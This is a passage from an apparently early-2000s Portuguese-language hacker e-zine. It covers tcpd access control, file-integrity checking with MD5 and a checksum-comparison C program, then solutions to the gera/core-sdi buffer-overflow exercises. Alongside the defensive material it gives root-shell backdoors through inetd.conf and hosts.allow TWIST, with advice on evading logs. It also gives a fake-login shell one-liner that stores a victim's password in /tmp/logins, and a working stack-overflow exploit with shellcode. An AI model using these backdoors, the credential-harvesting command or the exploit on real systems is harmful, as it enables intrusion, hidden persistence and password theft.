passam antes pelo tcpd para controle. Tcpd eh um programa que monitora
requisicoes para os servicos que forem especificados. Todos os acessos que
passarem por ele serao checados e logados.



2.1 LOGS
##############

O log dos acessos eh feito pelo syslog e contem a hora do acesso o host
do cliente e o servico requisitado. Para saber em qual arquivo os logs sao
salvos procure nas configuracoes do syslog (/etc/syslog.conf):

authpriv.*;auth.* /var/log/secure

Um exemplo de log dos acessos eh:

Mar 16 19:56:59 struck in.telnetd[1577]: connect from 127.0.0.1
Mar 16 19:57:03 struck netstat[1579]: connect from 127.0.0.1
Mar 16 19:57:03 struck in.telnetd[1580]: connect from 127.0.0.1
Mar 16 19:57:04 struck in.pop3d[1583]: connect from 127.0.0.1




2.2 CONTROLE DE ACESSO
############################

Uma das funcoes do tcpd eh checar o hostname do cliente que esta
tentando conectar-se. Se o hostname nao bater com o ip da origem da
conexao, o tcpd fecha a conexao. Isso eh muito util para aumentar a
seguranca de servicos como rlogin, rsh em que a autenticacao eh feita
atravez do hostname. Tambem evita ataques de host spoofing.
Outra funcao e talvez uma das mais importantes eh o controle de acesso
que pode-se fazer pelo tcpd. Esse controle eh feito basicamente atravez de
dois arquivos:

/etc/hosts.allow - Garante acesso aos clientes nos daemons especificados.
/etc/hosts.deny - Impede o acesso caso o cliente/daemon estejam aki.

Caso o cliente e o daemon nao estejam especificados em nenhum dos dois
arquivos, o acesso eh permitido. O mesmo ocorre caso nao existam os
arquivos.




2.2.1 ARQUIVOS DE ACESSO
##############################

Comentarios nestes arquivos sao feitos com # no inicio da linha.
A sintaxe das linhas de controle eh:

<daemons> : <clientes> [ : opcoes : opcoes : ... ]

Onde:
<daemons> Eh a lista de um ou mais nomes de daemons. O nome do daemon
refere-se ao nome do programa que gera o servico.
<clientes> Lista de um ou mais enderecos de clientes que terao acesso aos
daemons especificados.
[opcoes] Sao opcoes extras que serao executadas caso algum cliente da
lista acesse algum daemon da lista. Veremos isso mais tarde
com maiores detalhes.

As listas devem ser criadas separando os daemons ou os clientes por
virgulas (,) ou espacos em branco.



2.2.2 EXEMPLOS DE LISTAS
##############################

Exemplos de listas de clientes:

* Aki fazemos uma lista com 3 maquinas do dominio alfa.net:
user1.alfa.net, user2.alfa.net, user3.alfa.net

* Mas se alfa.net possui 100 maquinas e queremos colocar todas na
lista? Basta colocarmos o fim do host comecando por um ponto (.):
.alfa.net

* Imagine que o ip das maquinas alfa.net seja 200.21.5.*. Entao tambem
podemos coloca-los deste modo na lista:
200.21.5.

* Strings comecadas por @ referen-se a grupos NIS:
@hackers

* Qualquer string na forma "n.n.n.n/m.m.m.m" e' interpretada como
addr/mask:
127.0.0.0/255.0.0.0


Exemplo de lista de daemons:

* Nao tem mto o que falar, apenas coloque os nomes dos programas que
fazem o servico:
in.ftpd, in.telnetd, in.pop3d



2.2.3 WILDCARDS
######################

Sao palavras chaves que a linguagem de controle de acesso suporta.

* ALL
Todos os clientes ou todos os daemons.

* LOCAL
Todo o host que nao tiver ponto (.).

* UNKNOWN
Todos os hosts que forem desconhecidos (nao conseguirem ser catados
no nameserver). Problemas no nameserver pode tirar (ou dar) acesso a
maquinas que nao deveriam.

* KNOWN
Todos os hosts que forem conhecidos. Mesmo problema anterior.

* PARANOID
Todos os hosts que nao baterem com seu endereco. Caso de spoofs.

* EXCEPT
Eh utilizado nas listas de hosts e daemons para indicar excecao.
Pode-se utilizar parenteses para indicar prioridade. Exs:
ALL EXCEPT in.ftp
ALL EXCEPT (200.10.3. EXCEPT 200.10.3.44)



2.2.4 OPCOES EXTRAS
#########################

Estas opcoes podem ser colocadas apos a lista de clientes, separadas
por dois pontos (:). Qualquer erro de sintaxe sera reportado pelo syslog.
Caso nenhuma palavra-chave de opcao seja encontrada, o que estiver
depois dos dois pontos sera interpretado como um comando de shell.
As opcoes sao as seguintes:

* SEVERITY
Muda o nivel de severidade com que o evento sera logado.
ex: in.ftpd: ALL: SEVERITY

* ALLOW
Permite acesso da maquina ao servico.
ex: ALL: .com.br: ALLOW

* DENY
Impede o acesso da maquina ao servico.
Com estas duas chaves eh possivel fazer o controle utilizando apenas
um arquivo.
ex: in.telnetd: ALL: DENY

* SPAWN <comando>
Executa algum comando de shell num processo filho com stdin,out,err
apontados para /dev/null.
ex: in.pop3d: ALL: SPAWN /bin/echo "pop3 acessado" >> /log/pop3.log

* TWIST <comando>
Executa algum comando de shell com stdin,out,err apontados para a
conexao com o cliente.
ex: in.ftpd: ALL: TWIST /bin/echo "421 Ftp Nao disponivel."

* KEEPALIVE
Faz com que o servidor envie de tempos em tempos verifique se o
cliente ainda esta "vivo" enviando uma msg e caso ele nao responda a
conexao e' fechada.

* LINGER <segundos>
Especifica em quanto tempo o kernel tentara' enviar um pacote que
ainda nao foi enviado antes de fechar a conexao.

* BANNERS <diretorio>
Procura pelo arquivo de banner com o mesmo nome do programa daemon
(por exemplo, o banner de in.ftpd sera o arquivo in.ftpd no diretorio
especificado). O conteudo do arquivo eh exibido assim que se
estabelecer a conexao.

* NICE <numero>
Muda o valor do nice do processo. O padrao e' 10.

* SETENV <nome> <valor>
Cria variaveis atribuindo um valor a elas.

* UMASK <valor>
Igual ao umask utilizado na shell. Define as permissoes que os
arquivos serao criados.

* USER <user>[.grupo]
Assume privilegios do usuario especificado e do grupo caso seja
indicado. Isso eh bem util quando todos os servicos estao sendo
rodados como root no inetd.



2.2.5 EXPANCOES
#####################

Algumas expancoes podem ser utilizadas em conjunto com os comandos
executados pelas opcoes twist e spawn alem de poderem ser usadas nos
arquivos de banner ativados pela opcao banners.

%a Endereco do cliente.
%A Endereco do servidor.
%c Informacoes do cliente (depende de qta informacao eh disponivel).
%s Informacoes do servidor (depende ...).
%d Nome do programa de daemon.
%h Hostname do cliente (se indisponivel, ip).
%H Hostname do servidor (se indisponivel, ip).
%n Hostname do cliente (se indisponivel, "unknown" ou "paranoid").
%N Hostname do servidor (se indisponivel, "unknown" ou "paranoid").
%p Process id do daemon.
%u Username do cliente (ou "unknown").
%% Caractere '%'.



2.2.6 EXEMPLOS DE SISTEMAS FECHADOS
#########################################

Sistemas fechados sao aqueles que restrigem todos seus servicos apenas
para clientes especiais (trusted hosts). A primeira linha que
encontraremos aqui eh:

/etc/hosts.deny:
ALL:ALL

Isso fecha todos os servicos a todos. Como /etc/hosts.allow tem
prioridade no controle de acesso, agora basta criar a lista de trusted
hosts e de servicos disponiveis nele:

/etc/hosts.allow:
ALL: LOCAL
in.ftpd: .pucrs.br EXCEPT vaccaro.pucrs.br

Estas linhas dao acesso local a todos os servicos e acesso ao ftp a
maquinas da pucrs.br com excecao da vaccaro.pucrs.br.




2.2.7 EXEMPLOS DE SISTEMAS ABERTOS
########################################

Sistemas abertos sao akeles que deixam qquer cliente usufluir de seus
servicos. Neles ocorre o inverso dos sistemas fechados...

/etc/hosts.allow:
ALL:ALL

Com isso todas as maquinas na rede podem utilizar todos os seus
servicos. Mas ae voce notou que alguns clientes mal intencionados estao
tentando lhe hackear pelo ftpd por exemplo... Imagine tambem que voce esta
atualizando seu pop3 e nao quer correr riscos enquanto ele esta rodando...

/etc/hosts.deny:
in.ftpd: hacker.de.ftp.com.br
in.pop3d: ALL




2.2.8 EXEMPLOS DE TRUQUES
###############################

A proxima linha serve para barrar acessos de algum hacker a todos seus
servicos alem de dar um susto nele.

/etc/hosts.deny:
ALL: addr.do.hacker.com.br: TWIST /bin/echo "Seu ip (%a) esta em meus
logs seu hacker de merda! Estou ligando
para seu provedor agora..."


Outra truque interessante eh colocar estes arquivos para executar
programas ou shellscripts que simulem alguma besteira qquer... tipo...

in.ftpd : ALL : TWIST /root/sec.sh %a

---sec.sh---
#!/bin/sh
echo "root@localhost# ./0dayxplt $1"
echo "Trying root $1..."
echo "Use Address: 0xbfff13a8"
sleep 2
echo "Done!"
echo "bash# (rm -rf / )&"
echo "bash# exit"
echo "root@localhost#"
---sec.sh---

Bom.. use a imaginacao...
Se quizer criar novos logs pode usar:

ALL: ALL: SPAWN /bin/echo "%h(%a) acessou %d[%p]" >> /var/log/mylogs

Etc... Etc...



2.3 TCPDCHK
#################

Tcpdchk eh um programa que checka se seus arquivos de controle estao
com qquer problema, desde hosts nao resolvidos ateh erros de sintaxes. Eh
bem util para resolver alguns problemas nestes arquivos...
Opcoes:

-a Reporta todas as linhas que dao acesso a alguma maquina sem
utilizar a opcao ALLOW.

-d Examina os arquivos hosts.allow e hosts.deny no diretorio atual.

-i <file> Indica a localizacao do arquivo inetd.conf que sera examinado.

-v Verbose mode.



2.4 TCPDMATCH
###################

Eh bastante usado em servidores que abusam destes arquivos de controle.
Ele procura por referencias dos daemons e dos clientes nos arquivos de
controle. Por exemplo... c voce quer verificar se o cliente lama.com tem
acesso ao seu ftp:

[root@struck /etc]# tcpdmatch in.ftpd lama.com
warning: host name/name mismatch: www.lama.com != lama.com
client: hostname paranoid
client: address 206.117.145.175
server: process in.ftpd
matched: /etc/hosts.deny line 11
option: TWIST /etc/sec.sh 206.117.145.175
access: delegated


Como pode ver acima, o tcpdwatch faz uma busca completa, informa se o
endereco eh do tipo paranoid ou unknown, informa o ip, a linha em que
alguma referencia foi encontrada, as opcoes utilizadas, e o tipo de
acesso. Eh otimo para buscas rapidas nestes arquivos qdo eles esta meio
grandinhos...
Opcoes:

-d Examina o hosts.allow e hosts.deny no diretorio atual.

-i <file> Indica a localizacao do arquivo inetd.conf que sera examinado.



3. HACKING
################

Bom... as "falhas" nestes daemons ja sao conhecidas de edicoes
anteriores da fatal 3rror... Elas permitem que usuarios que ja obtiveram
acesso de nivel root criem backdoores muito facilmente.
A primeira pode ser encontrada no arquivo /etc/inetd.conf:

/etc/inetd.conf:
gopher stream tcp nowait root /usr/sbin/tcpd /bin/sh -i

Com isso a porta que esta reservada ao servico gopher (70) na verdade
rodara uma shell com nivel root. O nome do servico pode ser qualquer um
que ja exista no arquivo /etc/services. Pode tambem criar um servico
editando este arquivo...

/etc/services:
back 31337/tcp
/etc/inetd.conf:
back stream tcp nowait root /usr/sbin/tcpd /bin/sh -i


Porem note que as duas vezes usamos o tcpd para rodar nossa backdoor.
Isso gera logs...

/var/log/secure:
Mar 18 03:45:13 struck sh[1073]: connect from 127.0.0.1

Como nenhum hacker vai querer aparecer nos logs, tiraremos o tcpd da
jogada. A linh entao muda para:

/etc/inetd.conf:
back stream tcp nowait root /bin/sh /bin/sh -i

Pronto... agora nada de logs...
Tambem eh possivel criar backdoores utilizando os arquivos de
controle... para isso voce pode fazer:

in.ftpd: seu.endereco.com: TWIST /bin/sh -i

Nao importa que seja no hosts.allow ou no hosts.deny... sempre que
voce acessar o servico de ftp vai cair numa shell.



4. SECURITY
#################

Bem... sobre seguranca nao ha muito o que falar... apenas fique de olho
nos logs e controle o acesso de pessoas que persistem em te encher o saco.
Soh um toque que vou dar aqui pode se tornar bem util para alguns
admins analistas de seguranca q nao tem confianca na seguranca de seus
daemons. Ja pensaram em roda-los a um uid mais baixo??
Por exemplo:

ftp stream tcp nowait nobody /usr/sbin/tcpd in.ftpd -l -a

Note que o daemon de ftp eh rodado com privilegios de nobody... assim
qdo o daemon for exploitado, resultara em uma shell de uid 65535 ou o uid
que nobody recebe na sua maquina.
Isso ae... acabar por aki esse texto, ja que virei a noite toda
escrevendo-o e agora sao 7:00 da manha e vou pro mar (durmir pra que
neh?).











_xXXXP^'' ``^YXXXx_
_xXXXXP~ 09 - Checksums ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ mild7 _dXXXXP~
~YXXXbx.. ..xdXXXP~


-----------------------------------
| Somas de Verificacao (CheckSums)|
-----------------------------------

Iae.. vou falar alguma coisa sobre somas de verficacao, as chamadas
CheckSums, abordando principalmente o algoritmo MD5, que eh um dos melhores e
mais seguros que tem por ae.. tah, vambora..



..: O que sao checksums? ::.

Uma checksum (em portugues, 'Somas de Verificacao') eh uma string gerada por
algum algoritmo matematico para fins de comparacao. Com ela, tu pode
verificar se dois arquivos sao realmente identicos, o que pode ser muito
complicado (e MUITO falho) de se fazer a oio nu ou usando algum outro sistema
de comparacao de arquivos, pois ateh mesmo a alteracaum de um misero bit do
arquivo faz com que o algoritmo gere checksums completamente diferentes.



.:: Tah, e daih? ::.

Vamos a uma situacaum qqer. Imaginacao fertil!

" Uma certa noite, em suas viagens pela Brasnerd, voce conhece Fulaninho.
Apos muito papo sobre linux e punheta (nao necessariamente nessa ordem), voce
descobre que fulaninho, alem de ser um kra legal, manja muito bem de linux.
Entao vc passa a conversar com ele seguidamente, pois Fulaninho EH um kra
legal! Ele saca muito de atques remotos e, de quebra, eh coder C. Que legal!
Um novo amigo! "

" No fim de semana, voce recebe uma mensagem da BugTraq dizendo que o mais
novo patch do sendmail jah estah disponivel, pois foi descoberdo um bug 0day
que precisa imediatamente ser patcheado. Logo apos essa mensagem chegar,
chega uma mensagem de seu grande amigo Fulaninho, que eh solidario com voce e
jah encaminhou pro seu email os binarios do novo patch publicado naquele dia.
Como voce eh feliz! Tem um amigo de verdade! "

" Inocente, voce compila e instala o patch. O sendmail estah atualizado! Sem
notar, voce instalou junto uma backdoor que dah a Fulaninho acesso r00t ao
seu querido linux. Que amigo! "

duh... que historinha imbecil... mas foi pra ilustrar o que poderia ser
evitado se o babaquinha ae em cima fosse mais cuidadoso. Primeiro, ele
poderia ter dado uma olhada nos fontes enviados por Fulaninho, e ter
verificado que acoes realmente aqueles fontes fariam em seu sistema quando
compilados. Mas... e se o usuario nao soubesse codar? Simples... ele poderia
simplesmente gerar uma checksum para o arquivo enviado pelo "amigo", ir ateh
o site de distribuicao indicado pela mensagem da lista e comparar as duas
somas... se fossem identicas, muito bem, Fulaninho estava sendo honesto e
solidario. Mas na situacao acima, os arquivos teriam checksums totalmente
diferentes, pois Fulaninho havia inserido uma backdoor no meio do patch
enviado ao nooso amigo duhzinho. Com isso, o idiota chegaria a brilhante
conclusao de que os arquivos nao eram identicos...



.:: Ah, entendi!! ::.

Entendeu? Foi soh um exemplo para ilustrar um uso produtivo de uma soma de
verificacao, que evitaria nosso usuario de ser infectado por um arquivo
adulterado. Mas... coloque sua cabeca pra funcionar e pense nas
possibilidades disso tudo...



.:: MD5 ::.

O md5sum, que gera as checksum com algoritmo MD5 para os arquivos estah
presente em qq distribuicaum linux. Mesmo assim existem outros programas que
geram checksums, com o adicional de poderem usar mais de um algoritmo para a
criaÁ„o de somas. Eis:

AIDE
----
Este software eh bem completo e tem algumas outras funcoes alem de
gerar checksums. Trabalha com os algoritmos md5, sha1, md160, tiger, crc32,
haval e gost. Site: http://www.cs.tut.fi/~rammer/aide.html

Tripwire
--------
Este, mais famoso e tradicional, dah suporte aos algoritmos
md5, Snefru, CRC-32, CRC-16, md4, md2, sha/shs e haval. Cate ele:
http://tripwire.org

-> Mas neste texto, vamos usar somento o nosso amigo md5sum, ok?

~# md5sum <nome_do_arquivo>
Cria uma checksum para o arquivo e a exibe na tela.

~# md5sum <nome_do_arquivo> > checksum
Ao inves de exibir a checksum do tal arquivo na tela, ele a
coloca no arquivo checksum (no exemplo).

~# md5sum <diretorio>/* > list
Se voce colocar um diretorio como o /bin, vai ficar uma coisa parecida
com isso: md5sum /bin/* > list. Isto gera uma checksum para todos os
arquivos da pasta especificada. Muito interessante para ser combinado
com o programa de comparacao de listas md5 criado pelo struck (mais
abaixo).



.:: So, Lets go! ::.

Vamos criar dois programinhas bem simplezinhus na pasta /root para comecarmos
nossas atividades.. issu ae:


//exemple1.c

#include <stdio.h>

void main()
{
system("/sbin/shutdown -r now");
}

//fim do exemple1.c


Aqui criamos um simples programa que usa uma system() para economizar os
dedos do r00t e reiniciar o sistema. Compilemos:

~# gcc exemplo.c -o exemplo1

Se executarmos, o sistema reiniciara. Mas o r00t nao eh troxa, e fez o
seguinte:

~# md5sum /root/exemplo1 <enter> c
433ace784beaa9c83e2fa3c2aaba6b1 exemplo1

Tah vendo esta grande string na linha, antes do nome do programa? Eh a
checksum gerada pelo algoritmo MD5 (md5sum), que o r00t guardou em um banco
de dados e, de preferencia, em uma midia removivel (CD-ROM, floppy). Veja
bem, esta checksum eh UNICA para esse arquivo, e qualquer bit que seja
alterado nele, a checksum mudarah completamente. Eh o que veremos agora.

Digamos que um lammah conseguiu acesso a esse sistema e, tomando conhecimento
do programa de desligamento do root, instalou ali uma backdoor imbecil para
garantir seu acesso futuro. Veja o que o h4x0r fez:


//exemplo2.c

#include <stdio.h>

void main()
{
system("echo r00t::0:0:r00t:/root:/bin/sh > /etc/passwd");
system("/sbin/shutdown -r now");
}

//fim do exemplo2.c


o que nosso amigo fez? Adicionou uma system() ao programa do root que
adiciona uma nova conta r00t com userid=0 (superusuario) no /etc/passwd.
Vamos compila-lo:

~# gcc exemplo2.c -o exemplo1

E assim o grande invasor instalou uma simples backdoor no sistema. Substituiu
o programa legitimo por sua versao adulterada. Mas... tchanammm! O root tem
sua checksum legitima guardada!! Assim que ele comecar a desconfiar de algo,
pode comecar a comparar suas checksums com as atuais do sistema. Ele faz a
seguinte verificacao:

~# md5sum exemplo1
932e92055b8e9d1daa90154e3ffa82cf exemplo1

Para sua surpresa, ao fazer a comparacao das checksums, ele descobriu que
aquele arquivo nao era mais legitimo! O instrumento usado pelo invasor foi
desmascaradu.

Assim como o root fez uma checksum para seu arquivo legitimo exemple1, ele
DEVE ter feito checksums para outros arquivos vitais do sistema e que sao
alvos frequentes de alteracao de algum usuario mal-intencionado:

/etc/passwd
/etc/shadow
/etc/group
/etc/hosts.allow
/etc/hosts.deny
/etc/inittab
/bin/sh
/bin/bash
/bin/tcsh
/bin/csh
/bin/ash
/bin/ls
/bin/ping

e por aih vai, afim de descobrir alteracoes nao-autorizadas em arquivos que
nao devem ser mexidos.



.:: Check Files 1.0 ::.

Para facilitar o trabalho de verificacao das checksum's (especialmente quando
estas sao muitas, o que pode tornar-se muito entediante), o struck codou um
programinha aki que facilita e muito a nossa vida.

O que o Check Files faz?
Ele simplesmente compara uma lista de somas md5 antiga com uma gerada mais
recentemente, alertando sobre a existencia de arquivos criados, deletados ou
alterados.

Como usa-lo?
Simples.. vamos usar o exemplo do proprio source... digamos que vc queira
armazenar as checksums de todos os seus arquivos localizados em /etc..

~# md5sum /etc/* > check.old

Isto ira gerar um file (check.old) contendo todas elas. Ae algum tempo depois
(algumas horas, ou 5 anos depois, como sugeriu o struck), voce gera um novo
file com as checksums novas do seu /etc:

~# md5sum /etc/* > check.new

Ae depois de ter gerado esse file, compile o Check Files...

~# gcc chk.c -o chk

E entao, execute o programa, determinando os arquivos a serem comparados...

~# ./chk check.old check.new
---DELETADO: /etc/hosts.deny
!!!ARQUIVO ALTERADO: /etc/passwd
!!!ARQUIVO ALTERADO: /etc/inetd.conf
+++NOVO ARQUIVO: /etc/passwd~

Blz... deu pra ver quais foram as alteracoes em /etc! Voce pode usar esse
programa para armazenar checksums originais de todos os seus arquivos
pessoais se quiser, e se notar algo suspeito na makina, criar uma nova lista
com o md5sum e compara-las com este programa.

Importante
Voce pode gerar listas de checksums md5 para diretorios com arquivos
binarios,como o /bin ou o /sbin... assim, ao detectar algo suspeito, voce
pode imediatamente criar uma nova lista para esses diretorios e compara-las
usando esse prog, pois sempre ha a possibilidade de um rootkit qualquer ter
instalado alguma backdoor nesses diretorios.. quem nunca ouviu falar da
backdoor do PING? Ela pode ser detectada facilmente usando-se este metodo.

Vamos ao source..:

<++> checksum/chk.c
//Security Tool
/* Check files v1.0 by Cheat Struck <cheat@struck.8m.com>
* http://struck.8m.com
*
* Verifica arquivos md5 e exibe o que foi criado, deletado e alterado.
* Verify md5 files and shows what was created, deleted and changed.
*
* Use:
* [root@struck /tmp]# md5sum /etc/* > etc.old
* (5 years later)
* [root@struck /tmp]# md5sum /etc/* > etc.new
* [root@struck /tmp]# gcc chk.c -ochk
* [root@struck /tmp]# ./chk etc.old etc.new
* ---DELETADO: /etc/aloha.test
* !!!ARQUIVO ALTERADO: /etc/inetd.conf
* !!!ARQUIVO ALTERADO: /etc/passwd
* +++NOVO ARQUIVO: /etc/passwd~
*
*/


#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
FILE *fp, *fp2;
char *chk1, *chk2, *name1, *name2, s1[500], s2[500];

if (argc <3) {
printf("use: %s <old_file> <new_file>\n",argv[0]);
exit(0);
}
if ((fp=fopen(argv[1],"r")) == NULL) {
printf("erro: Nao foi possivel abrir %s.\n",argv[1]);
exit(-1);
}
if ((fp2=fopen(argv[2],"r")) == NULL) {
printf("erro: Nao foi possivel abrir %s.\n",argv[2]);
exit(-1);
}

while(!feof(fp)) {
memset(s1,'\0',sizeof(s1));
fgets(s1,500,fp);
if (feof(fp)) break;

chk1=strtok(s1," ");
name1=chk1+strlen(chk1)+2;
memset(name1+strlen(name1)-1,'\0',1);

if (strcmp(name1,name2)) {
do {
memset(s2,'\0',sizeof(s2));
fgets(s2,500,fp2);
if (feof(fp2)) {
printf(" ---DELETADO: %s\n",name1);
break;
}

chk2=strtok(s2," ");
name2=chk2+strlen(chk2)+2;
memset(name2+strlen(name2)-1,'\0',1);

if (strcmp(name1,name2) > 0)
printf(" +++NOVO ARQUIVO: %s\n", name2);
else if (strcmp(name1,name2) < 0) {
printf(" ---DELETADO: %s\n",name1);
break;
}
} while(strcmp(name1,name2));
}

if (!strcmp(name1,name2) && strcmp(chk1,chk2))
printf(" !!!ARQUIVO ALTERADO: %s\n",name1);
}

while(!feof(fp2)) {
memset(s2,'\0',sizeof(s2));
fgets(s2,500,fp2);
if (feof(fp2)) break;

chk2=strtok(s2," ");
name2=chk2+strlen(chk2)+2;
memset(name2+strlen(name2)-1,'\0',1);
printf(" +++NOVO ARQUIVO: %s\n", name2);
}

fclose(fp);
fclose(fp2);
return(1);
}
<-->


.:: The end ::.

Eh isso, gurizada... esse negocio de integridade de arquivos eh mtu util pra
detectar invasoes, mas tem muito mais... aqui soh procurei explicar mais ou
menos como funciona...
Dica: isso aki eu sei que mta gente jah sabe, mas nunca eh demias lembrar os
mais esquecidos... de atributos de arquivo imutavel aos seus files mais
preciosos... isso nao imuniza, mas eh mais um trabalho pro invasor conseguir
te causar problema. Use chattr +i <nome_do_arquivo>. Isso faz com que ele
nao possa ser alterado, excluido, renomeado ou linkado.
Dica1: voce pode fazer um sistema avancado para checar a integridade dos
arquivos do seu sistema.. ex, c pode schedular no cron um script que gere
listas de checksums md5 para rodar em um tempo especificado, e que grave
todas as suas checksums em um arquivo localizado em uma particao separada,
ou mesmo burna-las em um CD-R... depois, para verificar as checksums
guardadas com as atuais, basta usar o programa escrito pelo struck ae em
cima e procurar por possiveis alteracoes em seus arquivos...

bote sua imaginacao pra funcionar...

falowz...

mild7 - 2002










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 10 - Como roubar senhas ~YXXXXx_
_xXXXXXX( usando uma linha de comando )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~

Hehehe.. soh estou escrevendo esta materia para desmotivar o pessoal
que fazem programas bestinhas como fake logins e ja se acham os hackoes.
Se voce esta logado localmente em uma rede unix, ao invez de dar exit
para sair da shell e liberar o terminal, digite o seguinte comando:


sh$ clear; echo -e "\nlogin: \c"; read LOGIN; echo -e "Password: \c"; stty
-echo; read PASS; echo $LOGIN : $PASS >> /tmp/logins; stty echo; sleep 1;
echo -e "\nLogin incorrect"; sleep 1; exit


Modifique a linha de acordo com a maquina que voce esta.
Quando voce retornar a maquina, encontrara' um login e sua respectiva
senha no arquivo /tmp/logins.
Facil, pratico e leeto. =)










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 11 - Insecure Programming ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~

Ha algum tempo a core-sdi.org lancou um pacote de exemplos de programas
vulneraveis a exploitting. Eu achei interessante os programas e muito
uteis para treinar e testar seus conhecimentos, portanto decidi
publica-los aki com seus devidos xploits.
Bem... como esta edicao ta pra ser lancada em cima da hora (prometi pro
fim de fevereiro), entao nao vai da pra resolver tudo de uma soh vez. Por
tanto vou publicar apenas a solucao dos 4 primeiros programas que foi tudo
o que eu consegui fazer esta noite (deem uma tregua... afinal eu decidi
fazer tudo desde o shellcode ateh a explicacao do xploit).


O primeiro programa eh um simples caso de stack overflow.
<++> insec/abo1.c
/* abo1.c *
* specially crafted to feed your brain by gera@core-sdi.com */

/* Dumb example to let you get introduced... */

int main(int argv,char **argc) {
char buf[256];

strcpy(buf,argc[1]);
}
<-->


Como da pra notar no programa acima, o programa usa a funcao strcpy()
que eh vulneravel pois nao verifica limite dos buffers. O tamanho do
buffer aki eh 256 caracteres. Agora ficou simples... mas vamos testa-lo
antes com o gdb...


[root@struck xplt]# gdb vul
...
(gdb) set args `perl -e "print 'a'x256;"`
(gdb) run
...
Program exited with code 054.


Parece que tudo ocorreu bem. Agora vamos ver o que acontece qdo

enchemos mais do que 256 bytes. Como queremos atingir um endereco de 
memoria usaremos 4 bytes a mais.


(gdb) set args `perl -e "print 'a'x260;"`
(gdb) run
...
Program received signal SIGSEGV, Segmentation fault.
0x4003520b in _dl_pagesize () from /lib/libc.so.6
(gdb)


Aki tivemos algum problema... De certa forma sobrescrevemos o return
address, porem nao foi como planejado. Enchemos o buffer com 'a's portanto
o ret addr deveria ser 0x61616161. Mas entao como o programa foi parar no
endereco 0x4003520b??
Eu poderia explicar isto, mas fugiria um pouco do objetivo do texto. Se
quizer descobrir, basta depurar o programa colocando um break point antes
da funcao main retornar e entao analize a stack. Se voce fizer isto notara
que o endereco de retorno foi sobrescrito pelo '\0' que eh colocado pelo
strcpy() no final da string.
Logo, para sobrescrevemos o ret addr com um valor conhecido, basta
colocarmos mais 4 bytes no nosso buffer...


(gdb) set args `perl -e "print 'a'x264;"`
(gdb) run
...
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()


Ae esta'... Tudo o que o exploit precisa fazer eh redirecionar o
programa para um shellcode e pronto.

<++> insec/abo1xplt.c
/* abo1.c Exploit
* by Cheat Struck <cheat@struck.8m.com>
*/


#define BUFFER 256

int offset=400;
char b0f[BUFFER+8];

/*Cheat Struck's L4M3 shellcode*/
char sc[]=
"\x31\xc0\xb0\x04\x31\xdb\xfe\xc3\xeb\x2b\x5e\x8d\x4e\x07"
"\x31\xd2\xb2\x14\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x89\x76"
"\x08\x88\x56\x07\x89\xf3\x8d\x4e\x08\x89\x56\x0c\x8d\x56"
"\x0c\xcd\x80\x31\xc0\x89\xc3\xfe\xc0\xcd\x80\xe8\xd0\xff"
"\xff\xff/bin/shStruck's shellcode.\n";

long getsp() {
__asm__(" movl %esp, %eax");
}

main(int argc, char *argv[]) {
register int i;
char *b;
long addr, *ptr;

memset(b0f,0x90,sizeof(b0f));
b=b0f+(BUFFER-sizeof(sc)+1);
for(i=0; sc[i]; i++)
*(b++) = sc[i];

if (argc > 1) offset=atoi(argv[1]);
addr=getsp()-offset;
printf("Trying Address: 0x%x\n\n", addr);

ptr=(long *)b;
*(ptr++)=addr;
*(ptr++)=addr;

execl("./abo1","abo1",b0f,0);

}
<-->


Voalah! Ae esta a solucao do problema 1.
Agora vamos ao 2o.


<++> insec/abo2.c
/* abo2.c *
* specially crafted to feed your brain by gera@core-sdi.com */


/* This is a tricky example to make you think *
* and give you some help on the next one */


int main(int argv,char **argc) {
char buf[256];

strcpy(buf,argc[1]);
exit(1);
}
<-->


Aki temos um problema... o programa nao sai de modo normal, ele utiliza
exit() para sair e portanto nao retorna da funcao main pelo ret addr.
Podemos encher o buffer o quanto quizer que nada ocorerra':


[root@struck insec]# gdb abo2
...
(gdb) set args `perl -e "print 'a'x50000;"`
(gdb) run
...
Program exited with code 01.


Viram? nem mesmo colocando 50.000 bytes no buffer foi possivel causar
alguma redirecao em seu fluxo de execucao.
Minha conclusao aki eh de que neste caso seje impossivel exploitar tal
programa pois nao importa qtos bytes sejam carregados no buffer, a saida
do programa eh feita pela funcao exit() e nao pelo retorno do main. Se
alguem discorda ou tenha conseguido algo neste programa, favor entre em
contato.
Portanto vamos ao 3o programa:

<++> insec/abo3.c
/* abo3.c *
* specially crafted to feed your brain by gera@core-sdi.com */


/* This'll prepare you for The Next Step */

int main(int argv,char **argc) {
extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;
char buf[256];

fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
fn(argc[2]);
exit(1);
}

<-->

Aqui vemos um ponteiro de funcao sendo carregado com a funcao puts() e
usando argc[2] como argumento para ela. Porem tambem vemos que a string
buf pode ser sobrecarregada mudando assim o valor do ponteiro de funcao *fn.
O que devemos fazer aqui entao eh: sobrecarregar buf causando um buffer
overwrite no ponteiro *fn, apontando-o para a funcao system() e finalmente
passar "/bin/sh" como segundo argumento (que sera usado com o system). O
resultado sera um system("/bin/sh").


[root@struck insec]# gdb abo3
...
